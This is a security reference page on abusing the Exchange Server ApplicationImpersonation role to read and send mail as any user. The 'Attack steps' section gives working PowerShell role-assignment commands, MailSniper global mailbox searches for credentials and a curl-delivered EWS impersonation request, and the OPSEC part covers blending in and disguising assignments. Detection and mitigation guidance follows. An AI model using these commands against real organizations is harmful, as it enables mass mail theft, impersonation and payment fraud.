How it works
Exchange Web Services (EWS) offers three ways for one identity to reach another identity's mailbox: delegate access, folder permissions and impersonation. The first two are permissions on individual mailboxes and are covered on the mailbox delegation abuse page. Impersonation is different in kind. It was built for service applications, such as archiving, backup, migration and calendar tools, that need to act as the owner of many mailboxes.
Impersonation is granted through Exchange role-based access control. An administrator assigns the ApplicationImpersonation management role to an account. That account then adds an ExchangeImpersonation header to its EWS requests, naming the target user by primary SMTP address, user principal name or SID, and Exchange performs the request with the permissions of the named user instead of the caller.
Three properties make the role valuable to an attacker:
- Scope. If the assignment has no management scope, the role applies to all users in the organization. One credential opens every mailbox, including those of executives and administrators.
- It acts as the owner. The caller can do whatever the owner can do in the mailbox. A message sent through impersonation appears to come from the owner, and the recipient has no way to tell that a service account sent it.
- The holder is a service account. These accounts tend to have old passwords, no MFA, exemptions from sign-in policies, and a traffic pattern (many mailboxes, all day) that hides an attacker's requests. They are the kind of over-permissioned service account that few people review.
There are two ways in. An attacker who compromises an account that already holds the role simply uses it. An attacker who controls an Exchange administrator assigns the role to an account of their own and has organization-wide mail access that does not show up in any mailbox's permission list.
Microsoft has removed this role from Exchange Online; applications there are granted app-only permissions and Exchange application roles instead. The technique described here applies to Exchange Server on-premises, including the on-premises side of a hybrid deployment. The hybrid application and token paths are on the Exchange hybrid and actor token abuse page.
Prerequisites
- An Exchange Server organization with EWS reachable by the attacker (
/EWS/Exchange.asmx), from inside the network or published to the internet. - Either the credentials of an account that holds ApplicationImpersonation, or an identity that can create role assignments. By default that is Organization Management.
- For the targets to be in scope: an assignment with no custom recipient scope, or a scope that contains them.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find who can impersonate
From an Exchange Management Shell session:
Get-ManagementRoleAssignment -Role ApplicationImpersonation -GetEffectiveUsers |
Format-Table Name, EffectiveUserName, RoleAssigneeName, CustomRecipientWriteScope
An empty CustomRecipientWriteScope means the assignment is not limited. The accounts listed are the targets for credential theft: look for them in password stores, scripts, application configuration files and Kerberoastable SPNs.
2. Or assign the role
With Organization Management rights, grant the role to a controlled account for all users:
New-ManagementRoleAssignment -Name "Archive Sync" -Role ApplicationImpersonation -User alice
A scoped assignment draws less attention and still covers the mailboxes that matter:
New-ManagementScope -Name "Finance" -RecipientRestrictionFilter "Department -eq 'Finance'"
New-ManagementRoleAssignment -Name "Archive Sync Finance" -Role ApplicationImpersonation -User alice -CustomRecipientWriteScope "Finance"
3. Search every mailbox
MailSniper automates the whole chain. Given Exchange administrator credentials, Invoke-GlobalMailSearch grants ApplicationImpersonation to the named account, lists the mailboxes, connects to EWS with impersonation and searches each mailbox for keywords:
Import-Module .\MailSniper.ps1
Invoke-GlobalMailSearch -ImpersonationAccount alice -ExchHostname SRV01 -OutputCsv global-email-search.csv
# Narrower: chosen terms, more mail per mailbox, all folders
Invoke-GlobalMailSearch -ImpersonationAccount alice -ExchHostname SRV01 `
-Terms "*password*","*vpn*","*wire*" -MailsPerUser 500 -Folder all -OutputCsv results.csv
By default it reads the 100 most recent messages in each Inbox and searches subject and body for *password*, *creds* and *credentials*.
4. Or call EWS directly
Any EWS client can impersonate by adding the header. This request lists the newest items in the target's Inbox:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
<t:ExchangeImpersonation>
<t:ConnectingSID>
<t:PrimarySmtpAddress>ceo@corp.example.com</t:PrimarySmtpAddress>
</t:ConnectingSID>
</t:ExchangeImpersonation>
</soap:Header>
<soap:Body>
<m:FindItem Traversal="Shallow">
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:AdditionalProperties>
<t:FieldURI FieldURI="item:Subject" />
</t:AdditionalProperties>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="20" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
curl --ntlm -u 'CORP\alice:<password>' \
-H 'Content-Type: text/xml; charset=utf-8' \
-d @finditem.xml \
https://SRV01.corp.example.com/EWS/Exchange.asmx
<t:PrincipalName> and <t:SID> inside ConnectingSID identify the target by UPN or SID instead. The same header on a CreateItem request sends a message as the mailbox owner.
Impact
The attacker has the organization's mail: every mailbox in scope can be searched for credentials, contracts and security discussions, and exported. This is remote email collection (T1114.002) at the scale of the whole Exchange organization, from one account.
Because requests run as the mailbox owner, the attacker can also send and delete as the owner: internal phishing from real senders, payment fraud from finance mailboxes, and removal of the warning mail that would expose the intrusion. A role assignment the attacker created is persistence that survives password resets on every victim mailbox.
OPSEC and artifacts
- Using an existing service account. No configuration changes at all. The account already reads many mailboxes every day, so the attacker's requests blend into its normal volume. What differs is the source address, the client's user agent, and the set of mailboxes or folders touched.
- A scoped assignment with a plausible name. An assignment called like a backup job passes a casual look at the role list. It is still a
New-ManagementRoleAssignmentin the Exchange admin audit log, with the administrator who ran it, andNew-ManagementScopeif a scope was created for it. - Tool defaults. MailSniper's global search touches every mailbox in sequence in a short time from one client, and by default grants the role to the account it is given, which is a logged change even when the operator only wanted to search.
- Nothing on the mailbox.
Get-MailboxPermissionand folder permission reports show nothing, because impersonation is not a mailbox permission. A review that stops at delegation misses it. - Server logs. Requests are recorded in the IIS log of the Exchange server that received them, with the authenticated account, the client address and the EWS path. Mail sent through impersonation is in message tracking as mail from the owner.
Detection
- Assignment of the role. The Exchange management role rules include ApplicationImpersonation among the sensitive roles, read from New-ManagementRoleAssignment records. Changes to an existing assignment or its scope arrive as Set-ManagementRoleAssignment and Set-ManagementScope. On-premises, search the admin audit log:
Search-AdminAuditLog -Cmdlets New-ManagementRoleAssignment,Set-ManagementRoleAssignment,New-ManagementScope,Set-ManagementScope `
-StartDate 11/01/2026 -EndDate 11/29/2026
- Baseline the holders. Run the query from step 1 on a schedule and alert on any new effective user or any assignment that loses its scope.
- Service account behaviour. For each account that holds the role, record the hosts it signs in from. EWS requests by that account from any other address, especially a workstation or an external address, are the strongest signal that the credential is in the wrong hands.
- Mailbox spread. A holder that normally works through a fixed set of mailboxes and suddenly touches all of them, or only executive mailboxes, has changed purpose.
- The cloud equivalent. In Exchange Online the same outcome comes from application permissions; the application mailbox-wide access rules cover those grants.
A role assignment record shows that an account could impersonate, not that it did. Mailbox-level evidence of what was read comes from the server logs and from mailbox auditing, and its absence has to be checked against what was collected and retained.
Mitigation
- Scope every assignment. Create a management scope that contains only the mailboxes the application needs and assign the role with
-CustomRecipientWriteScope. An unscoped assignment should be an exception with a named owner. This is least privilege for the one role that reads everyone's mail. - Remove assignments that are no longer used. Migration and archiving projects end; their impersonation accounts usually do not.
Get-ManagementRoleAssignment -Role ApplicationImpersonation -GetEffectiveUsers
Remove-ManagementRoleAssignment -Identity "Archive Sync"
- Protect the accounts that hold it. Use a dedicated service account per application with a long random password that is rotated, deny it interactive logon, and do not give it an SPN it does not need. See how to secure Active Directory service accounts.
- Restrict where EWS can be reached from. Allow EWS for these accounts only from the application servers' addresses, with firewall rules or IP restrictions on the EWS virtual directory, and do not publish EWS to the internet without modern authentication in front of it.
- Limit who can assign roles. Keep Organization Management small and separate from day-to-day accounts, and alert on every role assignment.
- Move applications to scoped, app-only access where the platform supports it. In Exchange Online, review application permissions and RBAC for Applications assignments the way you reviewed this role; the audit setup is in the Microsoft 365 audit log guide.
Detection rules for this attack
Log events to collect
FAQ
What does the ApplicationImpersonation role allow?
It lets the account that holds it act as another mailbox owner in Exchange Web Services. The caller adds an impersonation header that names the target user, and Exchange carries out the request with that user's permissions. Unless the assignment is limited by a management scope, it covers every mailbox in the organization.
How is impersonation different from mailbox delegation?
Delegation is a permission on one mailbox, granted mailbox by mailbox, and mail sent by a delegate can show the delegate. Impersonation is one role assignment that covers many mailboxes, and the caller acts as the owner: a message sent through impersonation appears to come from the owner, with nothing to show the recipient that a service account sent it.
Does this still work in Exchange Online?
No. Microsoft deprecated the ApplicationImpersonation role in Exchange Online and reported the removal complete in March 2025. Applications there use app-only permissions and RBAC for Applications instead, which is a different thing to review. The role remains in Exchange Server on-premises, where it is still widely assigned to backup, archiving and migration accounts.
How do I find accounts that can impersonate?
Run Get-ManagementRoleAssignment -Role ApplicationImpersonation -GetEffectiveUsers in the Exchange Management Shell. It lists every user that holds the role, directly or through a group, with the recipient scope of each assignment. An assignment without a custom scope reaches every mailbox.
References
- Impersonation and EWS in Exchange (Microsoft Learn)
- Configure impersonation (Microsoft Learn)
- Identify the account to impersonate (Microsoft Learn)
- Critical update: ApplicationImpersonation RBAC role deprecation in Exchange Online (Microsoft Exchange Team)
- Role Based Access Control for Applications in Exchange Online (Microsoft Learn)
- Email Collection: Remote Email Collection, T1114.002 (MITRE ATT&CK)
- MailSniper (dafthack)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.